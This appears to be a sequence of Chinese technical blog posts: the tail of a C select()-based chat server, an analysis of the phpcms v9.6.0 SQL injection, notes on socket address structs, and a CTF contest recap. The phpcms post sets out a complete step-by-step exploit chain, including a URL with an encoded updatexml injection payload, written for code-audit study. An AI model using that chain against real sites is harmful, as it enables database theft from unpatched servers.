FD_SET(listener, &master);
FD_SET(STDIN, &master);
fd_max = listener > STDIN ? listener : STDIN;
for (;;)
{
read_fds = master;
if (select(fd_max + 1, &read_fds, NULL, NULL, NULL) == -1)
{
perror("select");
exit(4);
}
for (i = 0; i <= fd_max; i++)
{
if (FD_ISSET(i, &read_fds))
{ //we got one!!
if (i == STDIN)
{
fgets(buf, sizeof buf, stdin);
memset(mess, 0, sizeof mess);
sprintf(mess, "server said:%s", buf);
for (j = 0; j <= fd_max; j++)
{
if (FD_ISSET(j, &master))
{
if (j != listener && j != i && j != STDIN)
{
if (send(j, mess, strlen(mess), 0) == -1)
{
perror("send");
}
}
}
}
}
else if (i == listener)
{
addrlen = sizeof remoteaddr;
newfd = accept(listener, (struct sockaddr *)&remoteaddr, &addrlen);
if (newfd == -1)
{
perror("accept");
}
else
{
FD_SET(newfd, &master);
if (newfd > fd_max)
{
fd_max = newfd;
}
printf("selectserver:new connection from %s on socket %d\n",
inet_ntop(remoteaddr.ss_family, get_in_addr((struct sockaddr *)&remoteaddr), remoteIP, INET6_ADDRSTRLEN), newfd);
sprintf(buf, "hello!!! your socket id is %d\n", newfd);
if (send(newfd, buf, strlen(buf), 0) == -1)
{
perror("send");
}
sprintf(buf, "socket %d joined chatroom\n", newfd);
for (j = 0; j < fd_max; j++)
{
if (FD_ISSET(j, &master))
{
if (j != i && j != listener && j != STDIN)
{
if (send(j, buf, strlen(buf), 0) == -1)
perror("send");
}
}
}
}
}
else
{
if ((nbytes = recv(i, buf, sizeof buf, 0)) <= 0)
{
if (nbytes == 0)
{
sprintf(buf, "select server: socket %d hung up\n", i);
printf("%s", buf);
for (j = 0; j <= fd_max; j++)
{
if (FD_ISSET(j, &master))
if (j != listener && j != i && j != STDIN)
{
if (send(j, buf, strlen(buf), 0) == -1)
{
perror("send");
}
}
}
}
else
{
perror("recv");
}
close(i);
FD_CLR(i, &master);
}
else
{
if (nbytes <= 2)
nbytes = 3;
memset(mess, 0, sizeof mess);
strncpy(mess, buf, nbytes - 2);
printf("recv data %s from socket %d\n", mess, i);
sprintf(buf, "socket %d says: %s\n", i, mess);
for (j = 0; j <= fd_max; j++)
{
if (FD_ISSET(j, &master))
{
if (j != listener && j != i && j != STDIN)
{
if (send(j, buf, strlen(buf), 0) == -1)
{
perror("send");
}
}
}
}
}
}
}
}
}
return 0;
}
要特别注意一次select操作后readfs中只剩下了当前可读的fd.所以每次要复制一个副本穿进去.
题外话
还是认真学习认真思考能让人不那么丧…..庆幸自己找到了自己真正的兴趣所在.
不要让一些没意义的东西麻痹了自己. 要时刻提醒自己生存不易.
不高兴了就更更博,耐心看看技术书,让自己静一静.闲了就容易生事.
keep on moving!!!
phpcms-v9.6.0sql注入漏洞分析[挖坟]
还有几天就要翘课一个礼拜去深圳和厦门被各位大佬虐菜了…由于本菜鸡的代码审计一直是弱项,所以为了能打好这场比赛,这两天便找了一些代码和漏洞分析文章来学习学习.今天玩了一下这个好几个月之前的phpcms的漏洞,在差不多搞了个大概之后写了这篇文章来记录一下这个漏洞的原理.
0x01 phpcms的路由处理方式
index.php中,可以看到调用了pc_base::create_app()方法.跟进这个方法最后调用了_load_class()函数,参数为application.
private static function _load_class($classname, $path = '', $initialize = 1) {
static $classes = array();
if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';
$key = md5($path.$classname);
if (isset($classes[$key])) {
if (!empty($classes[$key])) {
return $classes[$key];
} else {
return true;
}
}
if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';
$name = $classname;
if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
include $my_path;
$name = 'MY_'.$classname;
}
if ($initialize) {
$classes[$key] = new $name;
} else {
$classes[$key] = true;
}
return $classes[$key];
} else {
return false;
}
}
跟进phpcms/libs/classes/application.class.php文件中
<?php
/**
* application.class.php PHPCMS应用程序创建类
*
* @copyright (C) 2005-2010 PHPCMS
* @license http://www.phpcms.cn/license/
* @lastmodify 2010-6-7
*/
class application {
/**
* 构造函数
*/
public function __construct() {
$param = pc_base::load_sys_class('param');
define('ROUTE_M', $param->route_m());
define('ROUTE_C', $param->route_c());
define('ROUTE_A', $param->route_a());
$this->init();
}
/**
* 调用件事
*/
private function init() {
$controller = $this->load_controller();
if (method_exists($controller, ROUTE_A)) {
if (preg_match('/^[_]/i', ROUTE_A)) {
exit('You are visiting the action is to protect the private action');
} else {
call_user_func(array($controller, ROUTE_A));
}
} else {
exit('Action does not exist.');
}
}
/**
* 加载控制器
* @param string $filename
* @param string $m
* @return obj
*/
private function load_controller($filename = '', $m = '') {
if (empty($filename)) $filename = ROUTE_C;
if (empty($m)) $m = ROUTE_M;
$filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php';
if (file_exists($filepath)) {
$classname = $filename;
include $filepath;
if ($mypath = pc_base::my_path($filepath)) {
$classname = 'MY_'.$filename;
include $mypath;
}
if(class_exists($classname)){
return new $classname;
}else{
exit('Controller does not exist.');
}
} else {
exit('Controller does not exist.');
}
}
}
可以看到构造函数中将param的route_m,route_c,route_a作为为模块名,控制器,控制器的相关函数,然后调用init函数加载这个模块的相应控制器的相应函数.跟进/phpcms/libs/classes/param.class.php文件可以得知这三个成员变量分别来自$_GET['m']
,$_GET['c']
,$_GET['a']
中. 由此可确定phpcms的路由规则:index.php?m=module名称&c=controller名称&a=函数
0x02 注入漏洞分析
phpcms中负责过滤的一个函数safe_replace
源码如下:
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','"',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}
可以看到这个函数是可以绕过的,只要传参%*27即可绕过过滤.
注入点
这个漏洞的注入点位于phpcms/modules/content/down.php文件中,代码如下:
public function init() {
$a_k = trim($_GET['a_k']);
if(!isset($a_k)) showmessage(L('illegal_parameters'));
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f);
parse_str($a_k);
if(isset($i)) $i = $id = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
$allow_visitor = 1;
$MODEL = getcache('model','commons');
$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id));
$siteids = getcache('category_content','commons');
$siteid = $siteids[$catid];
$CATEGORYS = getcache('category_content_'.$siteid,'commons');
可以看到$a_k变量可控,对$a_k变量做一系列处理之后使用parse_str函数进行处理,这也是这个漏洞产生的一个重要原因.之后的几个变量都可以覆盖过去,可以看到$id变量被直接传递到了get_one函数中.跟进phpcms处理model相关的文件中/phpcms/libs/classes/db_access.class.php
:
/**
* 获取单条记录查询
* @param $where 查询条件
* @param $data 需要查询的字段值[例`name`,`gender`,`birthday`]
* @param $order 排序方式 [默认按数据库默认方式排序]
* @param $group 分组方式 [默认为空]
* @return array/null 数据查询结果集,如果不存在,则返回空
*/
final public function get_one($where = '', $data = '*', $order = '', $group = '') {
if (is_array($where)) $where = $this->sqls($where);
return $this->db->get_one($data, $this->table_name, $where, $order, $group);
}
/**
* 将数组转换为SQL语句
* @param array $where 要生成的数组
* @param string $font 连接串。
*/
final public function sqls($where, $font = ' AND ') {
if (is_array($where)) {
$sql = '';
foreach ($where as $key=>$val) {
$sql .= $sql ? " $font `$key` = '$val' " : " `$key` = '$val'";
}
return $sql;
} else {
return $where;
}
}
调用get_one函数,跟进文件/phpcms/libs/classes/db_mysqli.class.php
中
/**
* 获取单条记录查询
* @param $data 需要查询的字段值[例`name`,`gender`,`birthday`]
* @param $table 数据表
* @param $where 查询条件
* @param $order 排序方式 [默认按数据库默认方式排序]
* @param $group 分组方式 [默认为空]
* @return array/null 数据查询结果集,如果不存在,则返回空
*/
public function get_one($data, $table, $where = '', $order = '', $group = '') {
$where = $where == '' ? '' : ' WHERE '.$where;
$order = $order == '' ? '' : ' ORDER BY '.$order;
$group = $group == '' ? '' : ' GROUP BY '.$group;
$limit = ' LIMIT 1';
$field = explode( ',', $data);
array_walk($field, array($this, 'add_special_char'));
$data = implode(',', $field);
$sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;
$this->execute($sql);
$res = $this->fetch_next();
$this->free_result();
return $res;
}
可以看到最终$id被直接拼接到了sql语句中.因此可以进行注入.那么怎么控制$id的值? 回到down.php文件中
public function init() {
$a_k = trim($_GET['a_k']);
if(!isset($a_k)) showmessage(L('illegal_parameters'));
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f);
parse_str($a_k);
if(isset($i)) $i = $id = intval($i);
可以看到这个$a_k是从$_GET['a_k']
解密得来的.只要找到一个加密的点即可控制输出.
加密点
这里师傅们用的加密的点是/phpcms/modules/attachment/attachments.php
文件中的函数swfupload_json.
/**
* 设置swfupload上传的json格式cookie
*/
public function swfupload_json() {
$arr['aid'] = intval($_GET['aid']);
$arr['src'] = safe_replace(trim($_GET['src']));
$arr['filename'] = urlencode(safe_replace($_GET['filename']));
$json_str = json_encode($arr);
$att_arr_exist = param::get_cookie('att_json');
$att_arr_exist_tmp = explode('||', $att_arr_exist);
if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
return true;
} else {
$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
param::set_cookie('att_json',$json_str);
return true;
}
}
在这个函数中,将$_GET[‘src’]使用safe_replace()函数处理后进入$arr[‘src’]中,再对$arr进行json_encode,只要不存在att_json这样一个cookie或者$json_str不在数组中就会进入else的循环中,而跟进set_cookie函数则可发现phpcms输出的cookie值正好为加密后的cookie.因此我们便可以利用这个点来加密我们的注入语句. 然而phpcms的attachments类会进行一个用户身份的判断
function __construct() {
pc_base::load_app_func('global');
$this->upload_url = pc_base::load_config('system','upload_url');
$this->upload_path = pc_base::load_config('system','upload_path');
$this->imgext = array('jpg','gif','png','bmp','jpeg');
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
$this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;
$this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
//判断是否登录
if(empty($this->userid)){
showmessage(L('please_login','','member'));
}
}
这里通过判断$this->userid来测试用户是否登录,可以发现userid除了可以来自于cookie外还可以来自于$_POST[‘userid_flash’]中. 这里师傅们使用的生成这个加密后的$_POST[‘userid_flash’]的点在/phpcms/modules/wap/index.php
文件中:
function __construct() {
$this->db = pc_base::load_model('content_model');
$this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
param::set_cookie('siteid',$this->siteid);
$this->wap_site = getcache('wap_site','wap');
$this->types = getcache('wap_type','wap');
$this->wap = $this->wap_site[$this->siteid];
define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);
if($this->wap['status']!=1) exit(L('wap_close_status'));
}
//展示首页
public function init() {
$WAP = $this->wap;
$TYPE = $this->types;
$WAP_SETTING = string2array($WAP['setting']);
$GLOBALS['siteid'] = $siteid = max($this->siteid,1);
$template = $WAP_SETTING['index_template'] ? $WAP_SETTING['index_template'] : 'index';
include template('wap', $template);
}
设置了一个siteid的cookie,可以利用这个cookie的值传入到之前的那个$_POST[‘userid_flash’]中.
0x03 注入验证
Step1 获取之前的userid
访问http://127.0.0.1/phpcms2/index.php?m=wap&c=index&a=init&siteid=1
,获取cookie中的siteid值.
Step2 获取加密后的sql语句
访问http://127.0.0.1/phpcms2/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3d%25*27+and+updatexml(1,concat(0x7e,database()),0x7e)%23%26m%3d1%26f%3dhaha%26modelid%3d2%26catid%3d7%26&
,获取cookie中att_json值.
Step3 执行注入
访问http://127.0.0.1/phpcms2/index.php?m=content&c=down&a=init&a_k=加密后的字符串
,即可验证.
0x04 参考文件
0x05 题外话
比赛求各位大佬们轻虐!
socket网络编程笔记 与地址相关的常见struct
addrinfo
struct addrinfo {
int ai_flags; // AI_PASSIVE, AI_CANONNAME, etc.
int ai_family; // AF_INET(ipv4), AF_INET6(ipv6), AF_UNSPEC
int ai_socktype; // SOCK_STREAM, SOCK_DGRAM
int ai_protocol; // use 0 for "any"
size_t ai_addrlen; // size of ai_addr in bytes
struct sockaddr *ai_addr; // struct sockaddr_in or _in6
char *ai_canonname; // full canonical hostname
struct addrinfo *ai_next; // linked list, next node
};
- 获取此结构的函数:getaddrinfo()
sockaddr
struct sockaddr {
unsigned short sa_family; // address family, AF_xxx
char sa_data[14]; // 14 bytes of protocol address,contains a destination address and port number for the socket.
};
sockaddr_in
// (IPv4 only--see struct sockaddr_in6 for IPv6)
struct sockaddr_in {
short int sin_family; // Address family, AF_INET
unsigned short int sin_port; // Port number
struct in_addr sin_addr; // Internet address
unsigned char sin_zero[8]; // Same size as struct sockaddr
};
- sin_zero(which is included to pad the structure to the length of a struct sockaddr) should be set to all zeros with the function memset()
- sin_family corresponds to sa_family in a struct sockaddr and should be set to _AF_INET_.
- the sin_port must be in Network Byte Order (by using htons()!)
in_addr
// (IPv4 only--see struct in6_addr for IPv6)
// Internet address (a structure for historical reasons)
struct in_addr {
uint32_t s_addr; // that's a 32-bit int (4 bytes)
};
- used to be a union
- referes to the 4-byte IP address
structs in ipv6(similar)
// (IPv6 only--see struct sockaddr_in and struct in_addr for IPv4)
struct sockaddr_in6 {
u_int16_t sin6_family; // address family, AF_INET6
u_int16_t sin6_port; // port number, Network Byte Order
u_int32_t sin6_flowinfo; // IPv6 flow information
struct in6_addr sin6_addr; // IPv6 address
u_int32_t sin6_scope_id; // Scope ID
};
struct in6_addr {
unsigned char s6_addr[16]; // IPv6 address
};
sockaddr_storage (a structure large enough to hold both ipv4 and ipv6 structrues)
struct sockaddr_storage {
sa_family_t ss_family; // address family
// all this is padding, implementation specific, ignore it:
char __ss_pad1[_SS_PAD1SIZE];
int64_t __ss_align;
char __ss_pad2[_SS_PAD2SIZE];
};
- you can cast it to a struct sockaddr_in or struct sockaddr_in6 if you wanna
manipulate IP address
inet_pton(): cast string form to binary form
struct sockaddr_in sa; // IPv4
struct sockaddr_in6 sa6; // IPv6
inet_pton(AF_INET, "10.12.110.57", &(sa.sin_addr)); // IPv4
inet_pton(AF_INET6, "2001:db8:63b3:1::3490", &(sa6.sin6_addr)); // IPv6
- old way: _inet_addr()_ _inet_aton()_ (not compatible with IPv6)
inet_ntop(): cast binary from to string from
// IPv4:
char ip4[INET_ADDRSTRLEN];
struct sockaddr_in sa;
// space to hold the IPv4 string
// pretend this is loaded with something
inet_ntop(AF_INET, &(sa.sin_addr), ip4, INET_ADDRSTRLEN);
printf("The IPv4 address is: %s\n", ip4);
// IPv6:
char ip6[INET6_ADDRSTRLEN]; // space to hold the IPv6 string
struct sockaddr_in6 sa6;
// pretend this is loaded with something
inet_ntop(AF_INET6, &(sa6.sin6_addr), ip6, INET6_ADDRSTRLEN);
printf("The address is: %s\n", ip6);
only work with numeric IP addresses,won’t do any nameserver DNS lookup on a hostname. Use getaddrinfo() to do that.
Other Notes
- Layered Network Model
- Seven layers
- Application (应用层)
- Presentaion (表示层)
- Session (会话层)
- Transport (传输层)
- Network (网络层)
- Data Link (数据链路层)
- Physical (物理层)
- Simplified Four Layers
- Application Layer(应用层:telnet,ftp,etc.)
- Host-to-Host Layer(传输层:TCP UDP)
- Internet Layer(网络互连层:IP and routing)
- Network Access Layer(主机到网络层:Ethernet,wi-fi,whatever)
- Seven layers
- Some common IP addresses
- 10.x.x.x
- only be used either of fully disconnected networks or the networks behind firewalls
- 192.168.x.x x in range(0,256)
- 172.y.x.x y in rarnge(16,32)
- 10.x.x.x
天翼杯线下赛总结
昨天打了场天翼杯线下赛,也算是第二次打线下赛了吧,跟着学长们混最后拿到了个第五名。比赛还是让萌新受益匪浅,也充分了解到自己的不足之处。欸,菜的一笔还得继续努力。那就写这篇文章重点来记录一下自己参加这次线下赛的感想吧。
1.Windows服务器管理方面不擅长
之前较少接触windows服务器,这次线下赛有一台装有struts的windows服务器,经检测确实存在struts2046漏洞可以利用。然而获取shell之后需要获取远程桌面才能得到flag,由于windows的cmd玩的不是很熟所以试了半天还是gg了。。。。。。所以以后还是要拓展知识面。
2.代码审计
现场审计phpcms的漏洞,提前准备的一些POC由于没有仔细用过结果用的时候有的库没装。。。。试了半天也没试出来。。。。还是太菜了。。。。以后还是要多学学代码审计相关的知识,至少做到熟练一些主流cms的架构。
3.linux运维
有些重要命令还是不熟。。。。。。以后还得多学学。。。。。。
总之个人认为线下赛还是对个人能力的全方位的考验,需要有扎实的功底和渗透运维技巧。菜的一笔。。。。还是去好好学习吧。。。。。。